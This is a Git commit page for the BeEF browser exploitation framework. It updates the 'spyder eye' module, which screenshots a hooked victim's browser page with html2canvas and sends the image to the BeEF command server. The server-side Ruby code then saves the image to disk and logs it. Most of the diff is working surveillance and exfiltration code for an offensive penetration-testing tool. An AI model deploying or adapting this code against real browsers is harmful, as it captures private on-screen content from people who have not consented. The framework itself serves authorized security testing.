Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update spyder eye module

Browse Source 
* file error handling
* render the screenshot in the admin UI
* log screenshot filename to master logs
This commit is contained in:
bcoles
2013-09-12 18:29:56 +09:30
parent 189e6543e0
commit 5942138aba
2 changed files with 19 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files

17
modules/browser/spyder_eye/command.js
View File

@@ -12,16 +12,11 @@ beef.execute(function() {
$j("body").append( script );
html2canvas(document.body, {
onrendered: function(canvas) {
var img = canvas.toDataURL("image/png");
var output = img.replace(/^data:image\/(png|jpg);base64,/, "");
beef.net.send("<%= @command_url %>", <%= @command_id %>, output);
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
}
});
onrendered: function(canvas) {
var img = canvas.toDataURL("image/png");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+img);
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
}
});
});

20
modules/browser/spyder_eye/module.rb
View File

@@ -12,14 +12,20 @@ class Spyder_eye < BeEF::Core::Command
def post_execute
content = {}
content['results'] = @datastore['results']
content['results'] = @datastore['results'] if not @datastore['results'].nil?
save content
#I would prefer use common logger but I haven't find the way to do it
# print "---------[ preth00nker says ]----------\n"
print_status("Browser screenshot saved to './beef/"+"SeO_"+@datastore['cid']+".png'\n")
#e.g. BeEF::Core::Logger.instance.register("spyder eye"," look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png")
File.open("SeO_"+@datastore['cid']+'.png', 'wb') do |file|
file.write(Base64.decode64( content['results'] ) )
# save screenshot file
begin
filename = "screenshot_#{Integer(@datastore['cid'])}.png"
File.open(filename, 'wb') do |file|
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
file.write(Base64.decode64(data))
end
print_info("Browser screenshot saved to '#{filename}'")
BeEF::Core::Logger.instance.register("Zombie", "Browser screenshot saved to '#{filename}'")
rescue Exception => e
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')